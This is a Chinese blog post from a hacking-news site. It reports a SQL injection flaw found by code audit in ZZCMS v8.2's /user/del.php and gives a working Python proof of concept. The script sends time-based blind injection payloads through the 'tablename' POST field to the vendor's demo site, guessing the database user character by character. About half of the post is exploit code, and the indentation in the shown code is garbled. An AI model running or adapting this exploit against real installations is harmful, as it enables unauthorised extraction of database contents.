ZZCMS v8.2最新cms注入漏洞

ZZCMS v8.2最新cms注入漏洞

入侵渗透hacker2017-01-16 8:18:059931A+A-

CMS漏洞之ZZCMS v8.2最新SQL注入漏洞

时间概述

近期在一直都在审核CMS漏洞,连续数日,一无所获,甚是无聊,略有些许焦躁。

暮然回首,桌角横幅,挚友所赠,书:《戒急用忍》,回想四爷当年之景,于今日此情此景,不甚寂寥。稍有感慨,正值审至ZZCMS V8.2,现SQL注入漏洞。大喜。

1.白盒审计

运用白盒审计工具,发现隐于暗处之SQL注入漏洞:/user/del.php 

代码位置: /user/del.php 12行,获取参数。

ZZCMS v8.2最新cms注入漏洞 第1张

在switch() 分支中不存在SQL注入就不展示代码了。在后面代码中 135行 发现存在SQL注入问题。


ZZCMS v8.2最新cms注入漏洞 第2张


3.POC

用python完成POC进行批量漏洞利用,猜测用户名的第一个字符。

Python
#!/usr/bin/env python
 # -*- coding: utf-8 -*-
 import requests 
import time
 
 
 
payloads = 'abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.'    #匹配用的字符串
 url = "http://demo.zzcms.net/user/del.php"
 user = ''
 for i in range(1, 2):
 
        for payload in payloads:    #遍历取出字符
 
                startTime = time.time()
 
                post_data = "id=1&tablename=zzcms_answer where id = 1 and if((ascii(substr(user(),1,1))=" + str(ord(payload)) + "),sleep(5),1)%23".encode("utf-8")
 
                response = requests.post(url, timeout=6, data=post_data, headers={"Content-Type": "application/x-www-form-urlencoded"}  )
 if time.time() - startTime > 5:
 
                        user = payload 
print 'user is:', user 
break
 print '\n[Done] current user is %s' % user


ZZCMS v8.2最新cms注入漏洞 第3张


至此,终结。缺少一些华丽的语坠,多了一些大家都想知道的技术干货,我觉着这样挺好~~


点击这里复制本文地址 以上内容由黑资讯整理呈现,请务必在转载分享时注明本文地址!如对内容有疑问,请联系我们,谢谢!
  • 1条评论
  • 可难初霁2022-05-29 06:36:52
  • nbsp;     startTime = time.time()      

支持Ctrl+Enter提交

黑资讯 © All Rights Reserved.  
Copyright Copyright 2015-2020 黑资讯
滇ICP备19002590号-1
Powered by 黑客资讯 Themes by 如有不合适之处联系我们
网站地图| 发展历程| 留言建议| 网站管理